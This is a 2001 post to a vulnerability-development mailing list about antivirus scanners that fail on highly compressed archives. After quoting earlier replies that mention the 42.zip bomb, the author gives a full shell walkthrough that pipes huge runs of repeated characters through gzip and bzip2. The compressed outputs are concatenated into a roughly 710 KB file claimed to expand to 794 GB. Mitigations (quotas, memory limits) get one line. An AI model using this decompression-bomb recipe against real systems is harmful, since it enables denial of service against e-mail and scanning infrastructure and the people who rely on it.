Vulnerability Development: Re: Antivirus scanner DoS with zip archives

[Aycan Irican <aycan () mars prosoft com tr>]

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On Sun, 24 Jun 2001 bill_weiss () att net wrote:

> Aycan Irican(aycan () mars prosoft com tr)@Sat, Jun 23, 2001 at 10:50:14AM +0300:
> > On Thu, 21 Jun 2001, Robert Davidson Security wrote:
> >
> > > On Tue, Jun 19, 2001 at 08:53:54PM +0200, Michel Arboi wrote:
> > > > --- Markus 'FvD' Weber <fvd () ira uka de> a ?crit?:
> > > > > There is 42.zip out there, 42K total size, which consists of
> > > > > nested zip's and at the end a 4GB file (IIRC 6 levels deep,
> > > > > each level 17 'wide') ... kills most email virus checker.
> > > > I did not know it existed. Altavista found this on
> > > > http://www.hanau.net/fgk/downloads/42.zip
> > > >
> > > > Why is this kind of attack not more common? I suspect that most filters
> > > > are vulnerable and yet, they are not listed as such (e.g. on
> > > > securityfocus). And companies continue to use them.
> > > This used to be really common with BBS's back in their day.  The idea
> > > back then was to get a 1Gb file full of null charactors, compress it
> > > and upload it to the BBS, that way when the BBS's virus scanner (which
> > > also uncompressed the file) attempted to check the archive for viruses,
> > > it would either 1) consume all disk space, 2) keep the system busy for
> > > ages (some people ran 386's and 486's back then).  The normal thing a
> > > user would do is upload the file and then hang up, which also leaves
> > > that dial-up line off-line while the virus scanner is checking the
> > > contents of the archive.
> > >
> > > --
> > > Regards,
> > > Robert Davidson.
> > oh yes, the old days ...I used pcboard on my BBS and the pfed file
> > integrity checker can run any batch job when a line starts with '@'.
> > It's an old vulnerability i know.
> >
> > Maybe we should put disk quota for the user that runs virus scannner
> > thingy.
> There's a thought.
>
> Why not just use proc/mem limits to keep it from overrunning the box?
> Sure, email delivery time goes to hell, but it could fork off other jobs,
> do the massive compress thing slowly.
Some Text That i wrote this night...Ofcourse proc/mem limit is a solution.

#       Making a president for ENTERPRISE E-MAIL VIRUS SCANNERS.
#       By Aycan Irican (a.k.a. FiXxXeR)
#       aycan () mars prosoft com tr
#
#       Viruses in e-mails are today's well known problem. The simplest approach is to use
#       an e-mail virus scanner like SOPHOS, Amavis, Inflex etc...But If misconfigured
#       these tools can be very dangerous. Think of a compressed file that is constructed
#       billions and billions of A's in it. If we can easily create a file like that, and
#       compress it with well known compression tools. voila :)
#
#       There are numerous methods that can be used to create it. But most are time
#       consuming and storage eater. I introduce my approach to this solution. Let me say;
#
#       Updated Version of this text can or cannot be found from
#       http://mars.prosoft.com.tr/

First I don't want to create a very HUGE file. Instead, I want to use a pipe.

        [fixxxer () uranus alientech]$ perl -e 'print "A"x1000000000' | gzip -f | dd of=file1
        Out of memory!
        0+1 records in
        0+1 records out

Hmzz.. That's good I have 256 Megs of RAM and it sucked...

        [fixxxer () uranus alientech]$ free
                     total       used       free     shared    buffers     cached
        Mem:        255624     155652      99972       2068       4648     100860
        -/+ buffers/cache:      50144     205480
        Swap:       308200      75804     232396

Ok don't panic. I can find another genius way...

        [fixxxer () uranus alientech]$ perl -e 'print "A"x10' | gzip -f | dd of=file1
        0+1 records in
        0+1 records out
        [fixxxer () uranus alientech]$ perl -e 'print "B"x10' | gzip -f | dd of=file2
        0+1 records in
        0+1 records out
        [fixxxer () uranus alientech]$ ls -al
        total 16
        drwxrwxr-x    2 fixxxer  fixxxer      4096 Jun 24 23:28 .
        drwx------   35 fixxxer  fixxxer      4096 Jun 24 23:16 ..
        -rw-rw-r--    1 fixxxer  fixxxer        23 Jun 24 23:28 file1
        -rw-rw-r--    1 fixxxer  fixxxer        23 Jun 24 23:28 file2
        [fixxxer () uranus alientech]$ cat file2 >> file1
        [fixxxer () uranus alientech]$ zcat file1
        AAAAAAAAAABBBBBBBBBB[fixxxer () uranus alientech]$

That's good. I can concantane gzipped files and it doesn't sucked :)
So I must find the maximum byte size that I can pipe to gzip.

        [fixxxer () uranus alientech]$ perl -e 'print "A"x450000000' | gzip -f | dd of=file1
        853+1 records in
        853+1 records out

That's enough for now. But what else compression levels :) Can we use bzip2 ? :)

        [fixxxer () uranus alientech]$ perl -e 'print "A"x10' | bzip2 -f | dd of=file1
        0+1 records in
        0+1 records out
        [fixxxer () uranus alientech]$ perl -e 'print "B"x10' | bzip2 -f | dd of=file2
        0+1 records in
        0+1 records out
        [fixxxer () uranus alientech]$ ls -al
        total 16
        drwxrwxr-x    2 fixxxer  fixxxer      4096 Jun 24 23:47 .
        drwx------   35 fixxxer  fixxxer      4096 Jun 24 23:45 ..
        -rw-rw-r--    1 fixxxer  fixxxer        39 Jun 24 23:47 file1
        -rw-rw-r--    1 fixxxer  fixxxer        39 Jun 24 23:47 file2
        [fixxxer () uranus alientech]$ bzcat file1
        AAAAAAAAAABBBBBBBBBB[fixxxer () uranus alientech]$

That's good :)
Let's compare gzip and bzip2

        [fixxxer () uranus alientech]$ perl -e 'print "A"x45000000' | bzip2 -9 -f | dd of=file1
        0+1 records in
        0+1 records out
        [fixxxer () uranus alientech]$ perl -e 'print "A"x45000000' | gzip -9 -f | dd of=file2
        85+1 records in
        85+1 records out
        [fixxxer () uranus alientech]$ ls -al
        drwxrwxr-x    2 fixxxer  fixxxer      4096 Jun 24 23:51 .
        drwx------   35 fixxxer  fixxxer      4096 Jun 24 23:45 ..
        -rw-rw-r--    1 fixxxer  fixxxer        50 Jun 24 23:50 file1
        -rw-rw-r--    1 fixxxer  fixxxer     43703 Jun 24 23:51 file2
Umz ...bzip2 uses different algo ...but gzip is used everywhere. I don't know which scanner
compatible with bzip2(any ideas?)...No problem I can add some bzip2 file to my last HUGE
file :)

Let's start the real work:
        [fixxxer () uranus alientech]$ /usr/bin/time \
        >-v perl -e 'print "A"x450000000' | gzip -9 -f | dd of=file2.gz
                Command being timed: "perl -e print "A"x450000000"
                User time (seconds): 1.85
                System time (seconds): 7.65
                Percent of CPU this job got: 9%
                Elapsed (wall clock) time (h:mm:ss or m:ss): 1:41.27
                Average shared text size (kbytes): 0
                Average unshared data size (kbytes): 0
                Average stack size (kbytes): 0
                Average total size (kbytes): 0
                Maximum resident set size (kbytes): 0
                Average resident set size (kbytes): 0
                Major (requiring I/O) page faults: 4395
                Minor (reclaiming a frame) page faults: 167543
                Voluntary context switches: 0
                Involuntary context switches: 0
                Swaps: 0
                File system inputs: 0
                File system outputs: 0
                Socket messages sent: 0
                Socket messages received: 0
                Signals delivered: 0
                Page size (bytes): 4096
                Exit status: 0
                853+1 records in
                853+1 records out
        [fixxxer () uranus alientech]$ /usr/bin/time -v \
        >perl -e 'print "A"x400000000' | bzip2 -9 -f | dd of=file1.bz2
                Command being timed: "perl -e print "A"x400000000"
                User time (seconds): 1.48
                System time (seconds): 5.49
                Percent of CPU this job got: 5%
                Elapsed (wall clock) time (h:mm:ss or m:ss): 2:06.35
                Average shared text size (kbytes): 0
                Average unshared data size (kbytes): 0
                Average stack size (kbytes): 0
                Average total size (kbytes): 0
                Maximum resident set size (kbytes): 0
                Average resident set size (kbytes): 0
                Major (requiring I/O) page faults: 4203
                Minor (reclaiming a frame) page faults: 155279
                Voluntary context switches: 0
                Involuntary context switches: 0
                Swaps: 0
                File system inputs: 0
                File system outputs: 0
                Socket messages sent: 0
                Socket messages received: 0
                Signals delivered: 0
                Page size (bytes): 4096
                Exit status: 0
                0+1 records in
                0+1 records out

And you really want to see the results :) ok here is the ls output:
        [fixxxer () uranus alientech]$ ls -al
        total 444
        drwxrwxr-x    2 fixxxer  fixxxer      4096 Jun 25 00:07 .
        drwx------   35 fixxxer  fixxxer      4096 Jun 24 23:45 ..
        -rw-rw-r--    1 fixxxer  fixxxer       333 Jun 25 00:09 file1.bz2
        -rw-rw-r--    1 fixxxer  fixxxer    436765 Jun 25 00:02 file2.gz

Let's copy a temp and concantane files in a loop...

        ...bla ...bla ...bla

        [fixxxer () uranus alientech]$ ls -al
        total 792
        drwxrwxr-x    2 fixxxer  fixxxer      4096 Jun 25 00:18 .
        drwx------   35 fixxxer  fixxxer      4096 Jun 24 23:45 ..
        -rw-rw-r--    1 fixxxer  fixxxer    354978 Jun 25 00:14 file1.bz2
        -rw-rw-r--    1 fixxxer  fixxxer    436765 Jun 25 00:02 file2.gz
        [fixxxer () uranus alientech]$ echo "400000000*354978/333/(1024^3)" | bc
        397

400000000       is the byte that I pumped into the pipe
354978          is the final .bz2 file size
333             is the initial .bz2 file size
(1024^3)        is a conversion factor for converting byte to GigaByte.
I have 397 GigaBytes of DATA, I have 397 GigaBytes of DATA, I have 397 GigaBytes of DATA :)

        [fixxxer () uranus alientech]$ cp file1.bz2 file2.bz2
        [fixxxer () uranus alientech]$ cat file2.bz2 >> file1.bz2

Ops I have 794 Gigs now :)
        -rw-rw-r--    1 fixxxer  fixxxer    709956 Jun 25 00:28 file1.bz2

I think virus scanners have a problem :)

Imagination Limitless...


Aycan Irican
[fixxxer () uranus alientech]$ date
Mon Jun 25 00:30:11 EEST 2001

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